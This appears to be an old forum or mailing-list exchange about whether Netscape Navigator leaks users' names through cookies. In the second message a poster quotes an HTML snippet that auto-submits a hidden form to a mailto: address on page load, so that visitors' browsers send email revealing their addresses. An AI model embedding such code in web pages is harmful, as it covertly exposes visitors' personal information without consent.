1) Don't put your name in the netscape configuration (d'oh)
No, no, no. Netscape navigator does not reveal your name or put it into cookies. The only way to get your name or other personal information about you into a cookie is for you to type it into a web site, and have that site send you back a cookie.
The only time we reveal your name is in e-mail headers, and when doing anonymous FTP when you have manually disabled the default of sending 'mozilla@' as the anon ftp password.

Oh I was just being paranoid I guess. There used to be JavaScript that would automatically send email from a page. something like <html> <body onLoad="document.mailme.submit()"> <form method=post name="mailme" action="mailto:john@vertexgroup.com?subject=user address"> <input type=hidden name="userAddress" value="done"> </form> </body> </html> But even if that still works it would be a good trick to associate it with a cookie.
